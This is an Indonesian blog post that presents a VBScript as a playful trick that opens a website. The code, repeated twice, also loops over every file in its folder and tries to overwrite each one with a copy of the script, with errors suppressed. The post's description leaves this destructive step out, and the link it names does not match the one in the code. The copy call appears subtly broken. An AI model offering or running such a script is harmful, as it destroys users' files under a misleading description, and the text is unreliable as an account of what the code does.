//---------- Preface
----------//
Simpan script berikut
dengan nama terserah-kamu.vbs lalu eksekusi a.k.a klik 2x a.k.a klik-kanan -->
open (hehehe... bercanda neeh... :P) akan keluar sebuah messagebox dan ketika di
klik OK, shortcut baru akan tercipta dan otomatis browser kamu akan terbuka
menuju www.spyrozone.net Pelajari sendiri yach.. kalo ada pertanyaan lansung ajah
ke admin[~@~]spyrozone.net
//------- Pembahasan--------//
On Error Resume Next
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shell = Wscript.CreateObject("Wscript.Shell")
Script = Wscript.ScriptFullName
aPath = Left(Script, InStrRev(Script, "\"))
gogogo = Fso.GetFolder(aPath)
For Each Target in gogogo.Files
Fso.CopyFile aPath, Target.Name,1
Next
If Minute(Now()) then
Wscript.Echo "Anda tengah menuju dunia Spyro. Nikmati perjalanan anda... -----Spyro"
Set Links = Shell.CreateShortcut("spyro.URL")
Links.TargetPath = "http://echo-94fbr.blogspot.com/"
Links.Save
Shell.Run("spyro.URL")
End if
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shell = Wscript.CreateObject("Wscript.Shell")
Script = Wscript.ScriptFullName
aPath = Left(Script, InStrRev(Script, "\"))
gogogo = Fso.GetFolder(aPath)
For Each Target in gogogo.Files
Fso.CopyFile aPath, Target.Name,1
Next
If Minute(Now()) then
Wscript.Echo "Anda tengah menuju dunia Spyro. Nikmati perjalanan anda... -----Spyro"
Set Links = Shell.CreateShortcut("spyro.URL")
Links.TargetPath = "http://echo-94fbr.blogspot.com/"
Links.Save
Shell.Run("spyro.URL")
End if
//------- Penutup
--------//
Gitu aja dech... :P
Tidak ada komentar:
Posting Komentar